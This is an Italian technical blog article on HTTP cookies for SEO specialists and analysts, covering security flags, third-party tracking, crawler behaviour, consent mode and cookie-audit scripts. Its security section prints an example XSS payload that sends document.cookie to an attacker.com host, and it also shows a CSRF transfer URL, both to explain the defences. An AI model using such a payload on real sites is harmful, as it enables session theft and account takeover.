L’analisi tecnica di un ecosistema web complesso non può prescindere dalla comprensione profonda del layer di persistenza dei dati. Sebbene spesso relegati a discussioni su GDPR e privacy, i cookie rappresentano l’infrastruttura critica su cui si basano l’attribuzione delle conversioni, la personalizzazione dell’esperienza utente e, indirettamente, le performance di scansione.
Per un SEO tecnico o un data analyst, comprendere la meccanica HTTP dietro ai cookie è fondamentale per evitare problemi di involuntary cloaking, diagnosticare perdite di dati in Google Analytics 4 e ottimizzare il Crawl Budget in ambienti che fanno uso intensivo di personalization lato server.
L’illusione dello Stato nel protocollo HTTP
Il protocollo HTTP è, per definizione, stateless. Ogni richiesta inviata dal client al server è un’unità autonoma, priva di memoria: il server non ha alcun meccanismo nativo per riconoscere se due richieste consecutive provengono dallo stesso utente o da due utenti diversi. Ogni GET, ogni POST, nasce e muore nel vuoto del proprio ciclo request-response.

Senza un meccanismo di persistenza, operazioni basilari — mantenere un utente autenticato, conservare un carrello, ricordare una preferenza di lingua — sarebbero impossibili. I cookie risolvono esattamente questo problema: agiscono come un layer di stato applicato sopra un protocollo senza stato, trasformando HTTP da protocollo senza memoria a infrastruttura capace di gestire sessioni, identità e contesto.
La discrepanza fondamentale per la SEO risiede nel fatto che Googlebot opera prevalentemente come un browser stateless. Mentre gli utenti reali mantengono sessioni persistenti tramite i cookie, i crawler dei motori di ricerca non accettano cookie di sessione (se non in rari casi di debug specifici) e non eseguono script che richiedono persistenza locale tra le pagine. Un’architettura che basa il rendering del contenuto critico o la struttura di navigazione esclusivamente sui cookie è destinata a fallire in ottica SEO.
Anatomia di un Cookie: oltre la stringa di testo
Un cookie non è una semplice stringa di testo, ma una tupla di attributi definita nell’header HTTP. La comunicazione avviene tramite due header specifici:
Set-Cookie: inviato dal Server al Client nella risposta HTTP.Cookie: inviato dal Client al Server nelle richieste successive.
Il Flusso HTTP
Server → Client (risposta HTTP):
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; Domain=.example.com; Path=/; Max-Age=86400; Secure; HttpOnly; SameSite=Lax
Client → Server (richiesta successiva):
GET /account HTTP/1.1
Host: example.com
Cookie: session_id=abc123
Il cookie non è un file eseguibile, non è un programma, non contiene codice. È un dato testuale strutturato come coppia nome=valore, arricchito da una serie di attributi che ne definiscono il comportamento.
Parametri critici e sicurezza
L’analisi degli header di risposta (verificabile tramite Chrome DevTools > Network o via CLI con curl -I) rivela la robustezza dell’implementazione.
Domain e Path governano lo scope di visibilità. Un cookie impostato con Domain=.example.com è accessibile da tutti i sottodomini (www.example.com, blog.example.com, shop.example.com). Un errore comune nelle migrazioni o in architetture multi-tenant è impostare cookie con scope troppo ampio (es. .dominio.com invece di sub.dominio.com), esponendo dati di sessione a sottodomini non sicuri o non correlati. Il parametro Path=/shop limita ulteriormente la visibilità a una specifica directory e alle sue sotto-directory.
Expires e Max-Age controllano la persistenza temporale. Expires accetta una data assoluta in formato UTC (Expires=Thu, 01 Jan 2026 00:00:00 GMT), mentre Max-Age specifica la durata in secondi dal momento della ricezione (Max-Age=86400 = 24 ore). Se entrambi sono presenti, Max-Age ha la precedenza. Se nessuno dei due è specificato, il cookie è session-only: vive solo finché il browser resta aperto.
I flag di sicurezza sono fondamentali per prevenire attacchi e controllare il comportamento cross-site:
HttpOnly: il cookie non è accessibile via JavaScript (document.cookielo ignora). È la difesa primaria contro il furto di sessione tramite attacchi XSS (Cross-Site Scripting). Senza questo flag, un attaccante che inietta uno script nella pagina può leggere i cookie di sessione e impersonare l’utente. Il flag rende però il cookie invisibile anche a script di tracciamento client-side non privilegiati.Secure: il cookie viene trasmesso esclusivamente su connessioni cifrate (HTTPS). Su HTTP in chiaro, il browser non lo include nella richiesta. Questo previene l’intercettazione del cookie tramite attacchi man-in-the-middle su reti non cifrate.SameSite: controlla l’invio del cookie nelle richieste cross-site ed è il meccanismo principale di difesa contro attacchi CSRF (Cross-Site Request Forgery).Strict: il cookie non viene mai inviato in richieste cross-site. Se un utente clicca un link versoexample.comda un sito esterno, il cookie non viene incluso nella prima richiesta. Massima sicurezza, ma può causare problemi di UX (l’utente arriva “sloggato”).Lax(default nei browser moderni): il cookie viene inviato nelle navigazioni top-level sicure (click su link, redirect) ma non nelle richieste cross-site come iframe, immagini, o fetch da domini terzi. È il compromesso standard tra sicurezza e usabilità.None: il cookie viene inviato in tutte le richieste cross-site. Richiede obbligatoriamente il flagSecure. Necessario per contesti cross-site (iframe di terze parti, widget embedded), ma sempre più deprecato dai browser privacy-centric.
Esempio di header Set-Cookie ottimizzato:
Set-Cookie: session_id=xy78z...; Path=/; Domain=.evemilano.com; Secure; HttpOnly; SameSite=Lax; Max-Age=3600
Chi crea i cookie e come?
I cookie possono essere creati da due fonti distinte: il server (via header HTTP) e il client (via JavaScript). La distinzione è critica perché determina il livello di sicurezza e il tipo di dato che il cookie può trasportare.
Creazione Server-Side
Il server genera il cookie e lo include nell’header Set-Cookie della risposta HTTP. Questo è il metodo standard per cookie di sessione e autenticazione.
# Esempio Nginx
location / {
proxy_pass http://backend;
# Forza i flag di sicurezza su tutti i cookie provenienti dal backend
proxy_cookie_flags ~ secure httponly samesite=lax;
# Riscrittura del dominio se il backend imposta un dominio diverso
proxy_cookie_domain backend.internal .example.com;
# Riscrittura del path se necessario
proxy_cookie_path /api/ /;
}
# Esempio con Flask (Python)
from flask import Flask, make_response
app = Flask(__name__)
@app.route('/login')
def login():
resp = make_response("Logged in")
resp.set_cookie(
'session_id',
value='a1b2c3d4e5',
max_age=3600,
secure=True,
httponly=True,
samesite='Lax',
domain='.example.com',
path='/'
)
return resp
Il vantaggio della creazione server-side è la possibilità di impostare il flag HttpOnly, rendendo il cookie invisibile a JavaScript e quindi protetto da attacchi XSS. I cookie server-side sono inoltre immuni alle restrizioni ITP di Safari che colpiscono i cookie impostati via JavaScript.
Creazione Client-Side (JavaScript)
JavaScript può creare cookie direttamente nel browser tramite document.cookie:
document.cookie = "user_pref=dark_mode; path=/; max-age=2592000; SameSite=Lax; Secure";
Questo metodo è usato tipicamente per preferenze utente, stato dell’interfaccia e, soprattutto, per il tracking client-side. La maggior parte dei tag di analytics e advertising (Google Analytics, Meta Pixel, piattaforme di retargeting) crea cookie via JavaScript.
Il limite strutturale: i cookie creati via JavaScript non possono avere il flag HttpOnly e sono soggetti alle restrizioni ITP di Safari (durata limitata a 7 giorni o 24 ore).
La Catena di responsabilità
Nella pratica, i cookie presenti su un sito web sono generati da un ecosistema di attori:
- Backend del sito: cookie di sessione, autenticazione, CSRF token, preferenze lingua/valuta.
- CMS o framework: WordPress, Magento, Shopify impostano i propri cookie tecnici per gestione della sessione admin, carrello, cache.
- Tag Manager (GTM): orchestra l’inserimento di tag che a loro volta creano cookie.
- Script di analytics: Google Analytics (
_ga,_gid), Adobe Analytics, Matomo. - Pixel di advertising: Meta (
_fbp,_fbc), Google Ads (_gcl_au), TikTok, Criteo. - CMP (Consent Management Platform): Cookiebot, OneTrust, iubenda generano cookie per memorizzare le scelte di consenso dell’utente.
- CDN e servizi di sicurezza: Cloudflare (
__cf_bm), Akamai, servizi anti-bot.
Tassonomia operativa: First-Party vs Third-Party
La distinzione tecnica non risiede nel chi imposta il cookie, ma nel contesto del dominio che lo scrive rispetto all’URL nella barra degli indirizzi del browser. Un cookie è first-party se il suo attributo Domain corrisponde al dominio nella barra degli indirizzi. È third-party se appartiene a un dominio diverso.
Cookie di prima parte (First-Party)
Creati dall’host del dominio visitato. Sono essenziali per l’UX e gestiscono le funzionalità core del sito:
- Sessione e autenticazione: il session ID che mantiene l’utente loggato tra una pagina e l’altra.
- Carrello e-commerce: persistenza dei prodotti selezionati durante la navigazione.
- Preferenze utente: lingua, valuta, tema, filtri applicati.
- Analytics proprietari: Google Analytics crea cookie first-party (
_gaè impostato sul dominio del sito) che identificano l’utente ricorrente.
Impatto Web Vitals (CLS): un’implementazione scorretta della gestione dello stato è una causa frequente di Cumulative Layout Shift. Esempio tipico: un banner di consenso cookie caricato in ritardo via JS basato su cookie, o personalizzazioni che spostano il layout dopo il first paint. Se il banner viene iniettato via JavaScript dopo il caricamento del DOM, sposta il contenuto visibile causando un layout shift misurabile. Il rendering condizionale deve avvenire server-side o idratare il DOM prima del first paint.
Cookie di terza parte (Third-Party) e AdTech
Generati da domini esterni (es. doubleclick.net) rispetto a quello visitato dall’utente. Il meccanismo è il seguente: quando una pagina su example.com include un pixel di facebook.com (un’immagine 1×1 o uno script), il browser esegue una richiesta verso facebook.com. La risposta di facebook.com include un header Set-Cookie che crea un cookie sul dominio facebook.com, non su example.com.
Da quel momento, ogni volta che l’utente visita un qualsiasi sito che include il pixel di Facebook, il browser invia quel cookie a facebook.com, permettendo a Meta di tracciare la navigazione dell’utente attraverso siti diversi.
Il Meccanismo di Cookie Syncing
Nel programmatic advertising, ogni piattaforma identifica lo stesso utente con un ID diverso. La SSP (Supply Side Platform, che gestisce lo spazio pubblicitario per l’editore) lo chiama user_555. La DSP (Demand Side Platform, che gestisce le campagne per l’inserzionista) lo chiama buyer_999. Il problema è che queste due piattaforme vivono su domini separati e, per la Same-Origin Policy del browser, nessun dominio può leggere i cookie di un altro dominio.
Il Cookie Syncing è il processo che permette a queste piattaforme di “presentarsi” a vicenda e costruire una tabella di corrispondenza tra i loro rispettivi ID.
Come funziona nella pratica: quando un utente visita una pagina con un banner pubblicitario, la SSP carica un pixel invisibile (un’immagine 1×1 pixel) il cui URL punta al server della DSP e include, come parametro, il proprio ID utente. Esempio:
https://dsp.com/sync?ssp_user_id=555
La DSP riceve questa richiesta, legge il proprio cookie dal browser (che contiene buyer_999), e salva l’associazione: ssp_user_id=555 corrisponde a buyer_999. Da questo momento, quando la SSP metterà all’asta un’impression per l’utente 555, la DSP saprà che si tratta del proprio buyer_999, potrà accedere al suo profilo comportamentale e decidere quanto offrire nell’asta in tempo reale (RTB).
Questo meccanismo si ripete per ogni coppia di piattaforme coinvolta nella catena pubblicitaria, generando decine di redirect e richieste HTTP in background — con un impatto diretto sulla latenza di rete e sul Time to Interactive della pagina. L’intero sistema si regge sui cookie di terza parte: senza di essi, la catena di identificazione si spezza.
Il flusso operativo:
- La SSP (lato editore) identifica l’utente con il proprio cookie ID (es.
ssp_id=XYZ). - La SSP avvia una richiesta di cookie sync verso la DSP (lato inserzionista), passando il proprio ID.
- La DSP risponde con il proprio cookie ID (es.
dsp_id=ABC) e crea una tabella di mapping:XYZ ↔ ABC. - Durante il Real-Time Bidding (RTB), quando la SSP mette all’asta un’impression, comunica
ssp_id=XYZ. La DSP traduce questo ID nel propriodsp_id=ABC, accede al profilo comportamentale dell’utente e decide quanto offrire.
Retargeting comportamentale
Il flusso è lineare. L’utente visita un e-commerce e visualizza un prodotto. Il pixel di retargeting (es. Criteo, Google Ads) registra l’evento e lo associa al cookie ID dell’utente. Quando l’utente visita successivamente un sito editoriale che partecipa alla rete pubblicitaria, il cookie viene letto, il profilo viene riconosciuto, e il banner mostrato è personalizzato sul prodotto precedentemente visualizzato.
Casi d’uso operativi
I cookie servono a tre macro-funzioni, ciascuna con implicazioni tecniche specifiche.
Gestione della sessione
Il caso d’uso primario. Il server genera un session ID univoco al primo accesso dell’utente, lo invia come cookie e lo usa come chiave per recuperare lo stato della sessione (dati di autenticazione, carrello, permessi) da un data store server-side (Redis, database, file system). Il cookie non contiene i dati della sessione, ma solo il puntatore ad essi.
La sicurezza del session ID è critica: se un attaccante lo intercetta (session hijacking), assume l’identità dell’utente. Per questo motivo i cookie di sessione devono sempre avere i flag HttpOnly, Secure e SameSite.
Personalizzazione e preferenze
Cookie che memorizzano scelte dell’utente per evitare di doverle ripetere: lingua dell’interfaccia, valuta, layout preferito, consenso cookie già espresso. Questi cookie sono tipicamente first-party con durata di mesi o anni.
Tracciamento e Analytics
Cookie utilizzati per identificare utenti ricorrenti, misurare le performance del sito e attribuire conversioni ai canali di marketing.
Google Analytics utilizza diversi cookie first-party:
_ga: identificativo utente univoco, durata 2 anni. Formato:GA1.2.XXXXXXXX.XXXXXXXXXXdove le ultime due sezioni sono un random ID e un timestamp._gid: identificativo di sessione, durata 24 ore. Usato per distinguere sessioni dello stesso utente._gac_*: memorizza le informazioni sulla campagna Google Ads che ha portato l’utente sul sito. Essenziale per l’attribuzione delle conversioni.
I cookie di tracking pubblicitario (terza parte) servono invece all’attribuzione cross-site e al retargeting, come descritto nella sezione precedente.
Pericoli e problematiche dei Cookie
Sicurezza: Vettori di Attacco
Cross-Site Scripting (XSS): se un sito ha una vulnerabilità XSS (ad esempio un campo di input non sanitizzato che permette l’iniezione di codice HTML/JavaScript), un attaccante può inserire uno script che legge document.cookie e invia tutti i cookie non protetti da HttpOnly a un server esterno. Con il session ID in mano, l’attaccante accede all’account della vittima.
// Esempio di payload XSS per furto di cookie
<script>
new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>
La difesa: HttpOnly su tutti i cookie sensibili, Content Security Policy (CSP) restrittiva, sanitizzazione degli input.
Cross-Site Request Forgery (CSRF): un sito malevolo induce il browser dell’utente a inviare una richiesta autenticata verso un sito legittimo (es. bank.com/transfer?amount=10000&to=attacker). Poiché il browser include automaticamente i cookie per bank.com, la richiesta viene eseguita con i permessi dell’utente. La difesa primaria è SameSite=Lax o Strict combinato con token CSRF.
Session Hijacking: intercettazione del cookie di sessione su connessioni non cifrate (HTTP). Il flag Secure e l’uso esclusivo di HTTPS eliminano questo vettore.
Privacy: Il Tracking Cross-Site
Il problema fondamentale dei cookie di terza parte è la creazione di profili comportamentali senza il consenso informato dell’utente. Una rete pubblicitaria presente su migliaia di siti può ricostruire un grafo completo della navigazione di un individuo: quali siti visita, con quale frequenza, quali prodotti guarda, quali articoli legge.
Questo ha generato l’intero framework normativo della privacy digitale: GDPR (Europa), CCPA (California), ePrivacy Directive. Il punto centrale è il consenso preventivo: i cookie non strettamente necessari al funzionamento del sito non possono essere impostati prima che l’utente abbia espresso un consenso esplicito.
Le CMP (Consent Management Platform) gestiscono questo flusso, ma l’implementazione tecnica è spesso difettosa: tag che si attivano prima del consenso, cookie che vengono impostati indipendentemente dalla scelta dell’utente, configurazioni di GTM che non rispettano i trigger di consenso.
La Morte dei Cookie di terza parte
L’ecosistema del tracciamento è stato destabilizzato da Apple con l’introduzione dell’Intelligent Tracking Prevention (ITP) su WebKit.
Safari (ITP)
I cookie impostati via JavaScript (es. document.cookie da script di Google Analytics) su Safari hanno una durata limitata a 7 giorni, o addirittura 24 ore se l’utente proviene da domini classificati come tracker. Le conseguenze sono concrete: l’attribuzione delle conversioni si spezza. Un utente che torna dopo 8 giorni viene visto come un “Nuovo Utente”, gonfiando le metriche di acquisizione e sottostimando il CLV (Customer Lifetime Value).
Firefox (ETP)
Firefox con Enhanced Tracking Protection blocca i cookie di terza parte da domini presenti nella lista di Disconnect.me. Il comportamento è simile a ITP ma con logica di blocklist anziché euristica.
Chrome: Privacy Sandbox e CHIPS
Google Chrome sta seguendo con la deprecazione dei cookie di terze parti, introducendo:
- Topics API: il browser classifica gli interessi dell’utente in base alla cronologia di navigazione recente e condivide un set limitato di “topic” con i siti, senza esporre la navigazione completa. Profilazione basata su categorie di interesse (coorti) invece che su ID individuali.
- CHIPS (Cookies Having Independent Partitioned State): i cookie di terza parte vengono partizionati per sito di primo livello. Un cookie di
tracker.comimpostato susiteA.comè invisibile quando l’utente naviga susiteB.com, anche se entrambi includono script ditracker.com. Questo preserva i casi d’uso legittimi (widget embedded, servizi di pagamento) eliminando il tracking cross-site.
Browser Fingerprinting: L’Alternativa Post-Cookie
Con il declino dei cookie, sono emerse tecniche di identificazione passiva che non richiedono alcun dato memorizzato sul dispositivo. Il browser fingerprint combina decine di segnali — risoluzione dello schermo, font installati, rendering Canvas e WebGL, configurazione degli header HTTP, plugin disponibili, fuso orario, lingua — per creare un identificativo pseudo-univoco. La difesa è complessa perché non esiste un singolo punto di blocco: ogni segnale è legittimo singolarmente, ma la combinazione è identificativa.
SEO e Crawling: Il “Blind Spot” di Googlebot
Googlebot non gestisce i cookie. Non li accetta, non li memorizza, non li invia. Ogni pagina viene renderizzata in un ambiente privo di stato, senza sessione, senza preferenze, senza consenso espresso. Poiché Googlebot raramente mantiene il cookie tra una richiesta e l’altra, ogni hit al server viene trattato come una nuova visita cookie-less.
Questo ha implicazioni architettoniche severe e crea un rischio concreto di cloaking involontario: il sito mostra contenuti diversi a Googlebot rispetto agli utenti reali.
Scenari di Involuntary Cloaking
- Geo-Redirection basata su cookie: se un sito utilizza i cookie per determinare la lingua o la valuta (rilevamento IP → set cookie → redirect), Googlebot potrebbe rimanere intrappolato nella versione di default (solitamente
en-USo la posizione del data center di scansione). - Prezzi personalizzati: un e-commerce che mostra prezzi diversi in base a un cookie di geolocalizzazione. Googlebot non ha quel cookie, quindi vede il prezzo di default (o nessun prezzo).
- Paywall o gated content: sistemi che usano cookie per contare gli articoli letti e attivare un paywall. Googlebot non ha il cookie contatore, quindi vede sempre il contenuto completo — il che è corretto per l’indicizzazione, ma deve essere gestito con il markup
isAccessibleForFreee le best practice di Google per i contenuti a pagamento. - Banner di consenso cookie: se il banner è implementato come overlay che copre il contenuto e il suo stato (accettato/rifiutato) dipende da un cookie, Googlebot potrebbe renderizzare la pagina con il banner sempre visibile, potenzialmente oscurando il contenuto principale.
Header Vary: Cookie
Se il server restituisce HTML diverso basandosi sui cookie (es. versione “Loggato” vs “Ospite”), è imperativo inviare l’header HTTP:
HTTP/1.1 200 OK
Vary: Cookie
Content-Type: text/html
Questo istruisce le cache intermedie (CDN, Proxy) e parzialmente i motori di ricerca che la risorsa non è statica per tutti gli utenti. Tuttavia, per la SEO pura, il contenuto indicizzabile deve essere visibile senza cookie.
Strategie di mitigazione
Non usare mai i cookie come unica fonte di verità per il routing dei contenuti. Per contenuti multilingua, usare URL distinti (es. /it/, /en/) e annotazioni hreflang. Per la geolocalizzazione, usare parametri URL o redirect server-side con hreflang per segnalare le varianti ai motori.
Ogni contenuto servito con logica dipendente da cookie deve avere un comportamento di default sensato quando i cookie non sono disponibili. Questo default è ciò che Googlebot vedrà e indicizzerà.
Server-Side Tagging e Consent Mode v2
Per mitigare la perdita di dati dovuta a ITP e AdBlocker, l’industria si sta spostando verso soluzioni server-side.
GTM Server-Side (sGTM)
Il Google Tag Manager Server-Side sposta l’esecuzione dei tag dal browser dell’utente a un server intermedio controllato dal proprietario del sito (es. un container Docker su Google Cloud Run). Invece di caricare decine di script di terze parti nel browser (ciascuno con il proprio peso in termini di risorse, latenza e cookie), il browser invia un singolo hit al server GTM, che poi distribuisce i dati alle piattaforme di destinazione (Google Analytics, Meta, ecc.) tramite chiamate server-to-server.
I vantaggi sono multipli:
- Performance: riduzione drastica degli script client-side con impatto diretto su LCP (Largest Contentful Paint) e Total Blocking Time. Meno JavaScript nel browser significa rendering più veloce.
- Persistenza dei dati: i cookie impostati dal server GTM sono first-party server-side (
HttpOnlyeSecure), quindi non soggetti alle restrizioni ITP di Safari. La durata di 7 giorni per i cookie JavaScript diventa irrilevante perché il cookie è impostato via header HTTP dal dominio del sito. - Controllo e Privacy: il server intermedio filtra, sanitizza e trasforma i dati prima di inviarli a endpoint esterni, permettendo la rimozione di dati personali (PII) prima che raggiungano terze parti.
Google Consent Mode v2
Non è un semplice banner, ma un sistema di segnalazione (ping) che comunica a Google lo stato del consenso.
Quando un utente nega il consenso ai cookie di analytics o advertising, Consent Mode non blocca completamente la raccolta dati. Con l’Advanced Implementation, invia hit anonimi (“cookieless pings”) che Google utilizza per il Data Modeling: un processo statistico che stima le conversioni e il comportamento utente basandosi sui pattern degli utenti che hanno dato il consenso, applicandoli proporzionalmente a quelli che non lo hanno dato.
In pratica, se il 40% degli utenti nega il consenso, Google utilizza i dati del 60% che ha acconsentito per modellare il comportamento probabile del 40% mancante, colmando il gap nei report di GA4. L’accuratezza del modello dipende dal volume di dati disponibili — con volumi bassi, le stime sono inaffidabili.
I parametri chiave di Consent Mode v2:
ad_storage: controlla i cookie pubblicitari.analytics_storage: controlla i cookie di analytics.ad_user_data: consenso all’invio di dati utente a Google per fini pubblicitari.ad_personalization: consenso alla personalizzazione degli annunci.
First-Party Data Strategy
L’instabilità del tracciamento basato su browser rende la raccolta diretta di dati proprietari l’unico hedge sostenibile a lungo termine. Dati raccolti attraverso login, iscrizioni, programmi fedeltà e interazioni dirette non dipendono dalla persistenza dei cookie e non sono soggetti a restrizioni dei browser o decisioni di consenso relative al tracking.
Audit tecnico dei Cookie
Per analizzare la salute dell’architettura dei cookie su siti di grandi dimensioni, non ci si può limitare all’ispezione manuale.
Ispezione manuale (Chrome DevTools)
Application Tab → Cookies mostra tutti i cookie per dominio con i relativi attributi. Network Tab permette di ispezionare gli header Set-Cookie nelle risposte HTTP e verificare che i flag di sicurezza siano impostati correttamente.
Punti di verifica:
- Tutti i cookie di sessione hanno
HttpOnlyeSecure? - I cookie first-party hanno
SameSite=LaxoStrict? - Ci sono cookie impostati prima del consenso dell’utente?
- I cookie di terza parte sono necessari o possono essere eliminati?
Script Python per Audit su Scala
import requests
from urllib.parse import urlparse
def audit_cookies(url: str) -> dict:
"""
Esegue un audit dei cookie restituiti da un URL.
Verifica flag di sicurezza e classifica first/third-party.
"""
try:
session = requests.Session()
response = session.get(url, timeout=10, allow_redirects=True)
domain = urlparse(url).netloc.replace('www.', '')
results = {
'url': url,
'total_cookies': 0,
'first_party': [],
'third_party': [],
'security_issues': []
}
if not response.cookies:
print(f"Nessun cookie rilevato per {url}")
return results
for cookie in session.cookies:
cookie_info = {
'name': cookie.name,
'domain': cookie.domain,
'path': cookie.path,
'secure': cookie.secure,
'httponly': cookie.has_nonstandard_attr('HttpOnly'),
'expires': cookie.expires,
'samesite': cookie.get_nonstandard_attr('SameSite', 'Not Set')
}
# Classificazione first/third party
cookie_domain = cookie.domain.lstrip('.')
if cookie_domain == domain or domain.endswith('.' + cookie_domain):
results['first_party'].append(cookie_info)
else:
results['third_party'].append(cookie_info)
# Verifica flag di sicurezza
if not cookie.secure:
results['security_issues'].append(
f"Cookie '{cookie.name}' manca del flag Secure"
)
if not cookie.has_nonstandard_attr('HttpOnly') and 'session' in cookie.name.lower():
results['security_issues'].append(
f"Cookie di sessione '{cookie.name}' manca del flag HttpOnly"
)
results['total_cookies'] += 1
return results
except requests.exceptions.RequestException as e:
print(f"Errore di connessione per {url}: {e}")
return {}
# Esempio di utilizzo su lista di URL
if __name__ == '__main__':
targets = ['https://www.evemilano.com', 'https://example.com']
for t in targets:
report = audit_cookies(t)
if report:
print(f"\n--- {report['url']} ---")
print(f"Cookie totali: {report['total_cookies']}")
print(f"First-party: {len(report['first_party'])}")
print(f"Third-party: {len(report['third_party'])}")
for issue in report['security_issues']:
print(f" ⚠ {issue}")
Nota Operativa: lo script con requests cattura solo i cookie impostati via header HTTP. Per audit su larga scala che richiedono rendering JavaScript (per vedere cookie impostati via document.cookie), è necessario usare Playwright o Selenium in modalità headless:
from playwright.sync_api import sync_playwright
def audit_cookies_full(url: str) -> list:
"""
Audit completo che cattura anche i cookie impostati via JavaScript.
Necessario per rilevare cookie di analytics e advertising.
"""
with sync_playwright() as p:
browser = p.chromium.launch(headless=True)
context = browser.new_context()
page = context.new_page()
page.goto(url, wait_until='networkidle')
cookies = context.cookies()
browser.close()
return cookies
Verifica degli Header di Risposta
Oltre ai cookie stessi, è importante verificare che gli header HTTP di sicurezza siano configurati correttamente:
curl -sI https://example.com | grep -iE '(set-cookie|strict-transport|content-security|x-frame)'
Header da verificare in relazione ai cookie:
Strict-Transport-Security: forza HTTPS, rendendo effettivo il flagSecure.Content-Security-Policy: limita l’esecuzione di script inline, mitigando XSS.X-Frame-Optionsoframe-ancestorsin CSP: previene il clickjacking che potrebbe sfruttare cookie attivi.
Conclusioni
La gestione dei cookie non è più solo una questione di compliance, ma un pilastro dell’architettura tecnica che impatta SEO, performance e data quality. Ignorare il comportamento stateless dei crawler o le limitazioni ITP significa basare le proprie decisioni di marketing su dati incompleti.
I punti chiave da portarsi a casa:
- Il contenuto indicizzabile deve essere accessibile senza cookie.
- I cookie di sessione devono avere
HttpOnly,SecureeSameSite. - Il Server-Side Tagging è la risposta alle restrizioni ITP e alla perdita di dati.
- La First-Party Data Strategy è l’unico hedge sostenibile contro l’instabilità del tracciamento browser-based.
- Ogni audit tecnico deve includere la verifica dei flag di sicurezza e la classificazione first/third-party dei cookie attivi.
Articoli correlati
Autore
Mi chiamo Giovanni Sacheli e dal 2009 aiuto le aziende a farsi trovare online. Sono specializzato in SEO tecnica e PPC, competenze che applico quotidianamente nella mia agenzia, Searcus Swiss Sagl. Mi piace sviluppare strumenti a supporto del mio lavoro, ho creato SEOdata.app e cluster.army e co-scritto il libro SEO Audit Avanzato. Curo maniacalmente questo blog per colleghi e appassionati, dove mi "appunto" quello che imparo. Sono un NERD anni '80, motociclista e orgoglioso papà di due bambini.
Link:
Giovanni Sacheli
SEO Audit Avanzato
Searcus Swiss Sagl
SEOdata.app
cluster.army